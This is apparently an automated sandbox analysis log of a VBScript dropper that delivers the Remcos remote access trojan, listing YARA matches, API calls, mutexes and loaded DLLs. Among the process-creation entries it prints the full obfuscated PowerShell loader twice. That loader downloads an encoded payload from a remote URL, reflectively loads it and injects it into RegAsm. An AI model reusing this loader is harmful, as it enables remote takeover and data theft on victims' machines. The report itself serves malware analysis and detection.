Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_00427AD7	11_2_00427AD7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0041DBF3	11_2_0041DBF3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_00427C40	11_2_00427C40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_00437DB3	11_2_00437DB3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_00435EEB	11_2_00435EEB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0043DEED	11_2_0043DEED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_00426E9F	11_2_00426E9F

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 00402093 appears 50 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 00401E65 appears 34 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 00434E70 appears 54 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 00434801 appears 41 times

Source: 5fKvwnCAeC.vbs

Initial sample: Strings found which are bigger than 50

Source: 11.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 11.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 11.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 11.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 11.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 11.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 0000000B.00000002.2570978425.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 0000000B.00000002.2570978425.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 0000000B.00000002.2570978425.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 0000000A.00000002.1404922826.0000026F3D897000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: Process Memory Space: powershell.exe PID: 8120, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 7484, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: Process Memory Space: powershell.exe PID: 7484, type: MEMORYSTR	Matched rule: Invoke_Mimikatz date = 2016-08-03, hash1 = f1a499c23305684b9b1310760b19885a472374a286e2f371596ab66b77f6ab67, author = Florian Roth, description = Detects Invoke-Mimikatz String, reference = https://github.com/clymb3r/PowerShell/tree/master/Invoke-Mimikatz, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: Process Memory Space: powershell.exe PID: 7484, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: RegAsm.exe PID: 7048, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winVBS@8/6@1/3

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 11_2_0041798D GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,

11_2_0041798D

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 11_2_0040F4AF GetModuleFileNameW,CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,CloseHandle,

11_2_0040F4AF

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 11_2_0041B539 FindResourceA,LoadResource,LockResource,SizeofResource,

11_2_0041B539

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 11_2_0041AADB OpenSCManagerW,OpenServiceW,CloseServiceHandle,StartServiceW,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,

11_2_0041AADB

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8132:120:WilError_03
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Mutant created: \Sessions\1\BaseNamedObjects\Rmc-O0U3JA

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sedqkmkm.5pl.ps1

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5fKvwnCAeC.vbs"

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: 5fKvwnCAeC.vbs

Virustotal: Detection: 9%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5fKvwnCAeC.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiggJHNIRUxsSWRbMV0rJHNoRWxsSURbMTNdKydYJykgKCgnRklpJysndXJsID0gOXVPaHR0cHMnKyc6LycrJy9pYTYwMCcrJzEwMC51cy5hcmNoJysnaScrJ3ZlLm9yZy8yNC8nKydpdGVtcy9kZScrJ3RhaC1ub3RlLScrJ3YvRGV0YScrJ2hOJysnb3QnKydlVi50eHQ5dU87JysnRkknKydpJysnYmFzZScrJzY0QycrJ29uJysndCcrJ2VuJysndCcrJyAnKyc9IChOZXctT2JqZWN0IFN5c3RlbS5OJysnZScrJ3QnKycuV2ViJysnQycrJ2xpJysnZW50KS5EJysnb3cnKydubCcrJ29hZCcrJ1N0cmluZyhGJysnSScrJ2knKyd1cicrJ2wpJysnO0ZJaWInKydpbmFyeUNvbicrJ3RlJysnbnQnKycgJysnPSBbU3lzdGVtJysnLicrJ0NvbnZlcnRdOjpGcm9tQmEnKydzZTY0JysnU3QnKydyaW4nKydnJysnKEYnKydJaWJhcycrJ2UnKyc2NENvbnRlJysnbnQpO0ZJaWFzJysnc2VtJysnYmx5ID0gJysnW1JlZmxlJysnY3QnKydpb24uQXNzZW1ibHldOjpMbycrJ2FkKEZJaWJpbicrJ2FyJysneUMnKydvbnRlbnQpO0ZJaXR5JysncGUgPSBGSWlhc3MnKydlbScrJ2JseS5HZXQnKydUeXBlKDl1T1J1blAnKydFLkhvbWU5dScrJ08pO0ZJaW1ldGhvZCAnKyc9IEYnKydJJysnaXR5cGUnKycuR2V0TWV0JysnaG9kJysnKDl1T1ZBJysnSTl1Tyk7RicrJ0lpbWUnKyd0JysnaG8nKydkJysnLicrJ0ludm9rZScrJyhGSWknKyduJysndWwnKydsLCBbJysnb2JqZWMnKyd0W11dQCg5dU90eHQuRicrJ0MnKydDTVIvJysnNzExMi8zMjEuOTguMDkuJysnNTQvLzonKydwJysndCcrJ3RoOScrJ3VPICwgOXUnKydPZGVzYXRpdmFkbzknKyd1JysnTycrJyAsIDl1T2RlJysncycrJ2EnKyd0aScrJ3ZhZCcrJ285dU8gLCA5dU9kZXNhdGl2JysnYWRvOXVPLDl1T1JlZycrJ0FzbTl1Tyw5dU85JysndU8nKycpKScpLnJFUGxBQ2UoKFtjaEFSXTcwK1tjaEFSXTczK1tjaEFSXTEwNSksW3NUcmluZ11bY2hBUl0zNikuckVQbEFDZSgoW2NoQVJdNTcrW2NoQVJdMTE3K1tjaEFSXTc5KSxbc1RyaW5nXVtjaEFSXTM5KSk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".( $sHELlId[1]+$shEllID[13]+'X') (('FIi'+'url = 9uOhttps'+':/'+'/ia600'+'100.us.arch'+'i'+'ve.org/24/'+'items/de'+'tah-note-'+'v/Deta'+'hN'+'ot'+'eV.txt9uO;'+'FI'+'i'+'base'+'64C'+'on'+'t'+'en'+'t'+' '+'= (New-Object System.N'+'e'+'t'+'.Web'+'C'+'li'+'ent).D'+'ow'+'nl'+'oad'+'String(F'+'I'+'i'+'ur'+'l)'+';FIib'+'inaryCon'+'te'+'nt'+' '+'= [System'+'.'+'Convert]::FromBa'+'se64'+'St'+'rin'+'g'+'(F'+'Iibas'+'e'+'64Conte'+'nt);FIias'+'sem'+'bly = '+'[Refle'+'ct'+'ion.Assembly]::Lo'+'ad(FIibin'+'ar'+'yC'+'ontent);FIity'+'pe = FIiass'+'em'+'bly.Get'+'Type(9uORunP'+'E.Home9u'+'O);FIimethod '+'= F'+'I'+'itype'+'.GetMet'+'hod'+'(9uOVA'+'I9uO);F'+'Iime'+'t'+'ho'+'d'+'.'+'Invoke'+'(FIi'+'n'+'ul'+'l, ['+'objec'+'t[]]@(9uOtxt.F'+'C'+'CMR/'+'7112/321.98.09.'+'54//:'+'p'+'t'+'th9'+'uO , 9u'+'Odesativado9'+'u'+'O'+' , 9uOde'+'s'+'a'+'ti'+'vad'+'o9uO , 9uOdesativ'+'ado9uO,9uOReg'+'Asm9uO,9uO9'+'uO'+'))').rEPlACe(([chAR]70+[chAR]73+[chAR]105),[sTring][chAR]36).rEPlACe(([chAR]57+[chAR]117+[chAR]79),[sTring][chAR]39))"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiggJHNIRUxsSWRbMV0rJHNoRWxsSURbMTNdKydYJykgKCgnRklpJysndXJsID0gOXVPaHR0cHMnKyc6LycrJy9pYTYwMCcrJzEwMC51cy5hcmNoJysnaScrJ3ZlLm9yZy8yNC8nKydpdGVtcy9kZScrJ3RhaC1ub3RlLScrJ3YvRGV0YScrJ2hOJysnb3QnKydlVi50eHQ5dU87JysnRkknKydpJysnYmFzZScrJzY0QycrJ29uJysndCcrJ2VuJysndCcrJyAnKyc9IChOZXctT2JqZWN0IFN5c3RlbS5OJysnZScrJ3QnKycuV2ViJysnQycrJ2xpJysnZW50KS5EJysnb3cnKydubCcrJ29hZCcrJ1N0cmluZyhGJysnSScrJ2knKyd1cicrJ2wpJysnO0ZJaWInKydpbmFyeUNvbicrJ3RlJysnbnQnKycgJysnPSBbU3lzdGVtJysnLicrJ0NvbnZlcnRdOjpGcm9tQmEnKydzZTY0JysnU3QnKydyaW4nKydnJysnKEYnKydJaWJhcycrJ2UnKyc2NENvbnRlJysnbnQpO0ZJaWFzJysnc2VtJysnYmx5ID0gJysnW1JlZmxlJysnY3QnKydpb24uQXNzZW1ibHldOjpMbycrJ2FkKEZJaWJpbicrJ2FyJysneUMnKydvbnRlbnQpO0ZJaXR5JysncGUgPSBGSWlhc3MnKydlbScrJ2JseS5HZXQnKydUeXBlKDl1T1J1blAnKydFLkhvbWU5dScrJ08pO0ZJaW1ldGhvZCAnKyc9IEYnKydJJysnaXR5cGUnKycuR2V0TWV0JysnaG9kJysnKDl1T1ZBJysnSTl1Tyk7RicrJ0lpbWUnKyd0JysnaG8nKydkJysnLicrJ0ludm9rZScrJyhGSWknKyduJysndWwnKydsLCBbJysnb2JqZWMnKyd0W11dQCg5dU90eHQuRicrJ0MnKydDTVIvJysnNzExMi8zMjEuOTguMDkuJysnNTQvLzonKydwJysndCcrJ3RoOScrJ3VPICwgOXUnKydPZGVzYXRpdmFkbzknKyd1JysnTycrJyAsIDl1T2RlJysncycrJ2EnKyd0aScrJ3ZhZCcrJ285dU8gLCA5dU9kZXNhdGl2JysnYWRvOXVPLDl1T1JlZycrJ0FzbTl1Tyw5dU85JysndU8nKycpKScpLnJFUGxBQ2UoKFtjaEFSXTcwK1tjaEFSXTczK1tjaEFSXTEwNSksW3NUcmluZ11bY2hBUl0zNikuckVQbEFDZSgoW2NoQVJdNTcrW2NoQVJdMTE3K1tjaEFSXTc5KSxbc1RyaW5nXVtjaEFSXTM5KSk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".( $sHELlId[1]+$shEllID[13]+'X') (('FIi'+'url = 9uOhttps'+':/'+'/ia600'+'100.us.arch'+'i'+'ve.org/24/'+'items/de'+'tah-note-'+'v/Deta'+'hN'+'ot'+'eV.txt9uO;'+'FI'+'i'+'base'+'64C'+'on'+'t'+'en'+'t'+' '+'= (New-Object System.N'+'e'+'t'+'.Web'+'C'+'li'+'ent).D'+'ow'+'nl'+'oad'+'String(F'+'I'+'i'+'ur'+'l)'+';FIib'+'inaryCon'+'te'+'nt'+' '+'= [System'+'.'+'Convert]::FromBa'+'se64'+'St'+'rin'+'g'+'(F'+'Iibas'+'e'+'64Conte'+'nt);FIias'+'sem'+'bly = '+'[Refle'+'ct'+'ion.Assembly]::Lo'+'ad(FIibin'+'ar'+'yC'+'ontent);FIity'+'pe = FIiass'+'em'+'bly.Get'+'Type(9uORunP'+'E.Home9u'+'O);FIimethod '+'= F'+'I'+'itype'+'.GetMet'+'hod'+'(9uOVA'+'I9uO);F'+'Iime'+'t'+'ho'+'d'+'.'+'Invoke'+'(FIi'+'n'+'ul'+'l, ['+'objec'+'t[]]@(9uOtxt.F'+'C'+'CMR/'+'7112/321.98.09.'+'54//:'+'p'+'t'+'th9'+'uO , 9u'+'Odesativado9'+'u'+'O'+' , 9uOde'+'s'+'a'+'ti'+'vad'+'o9uO , 9uOdesativ'+'ado9uO,9uOReg'+'Asm9uO,9uO9'+'uO'+'))').rEPlACe(([chAR]70+[chAR]73+[chAR]105),[sTring][chAR]36).rEPlACe(([chAR]57+[chAR]117+[chAR]79),[sTring][chAR]39))"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
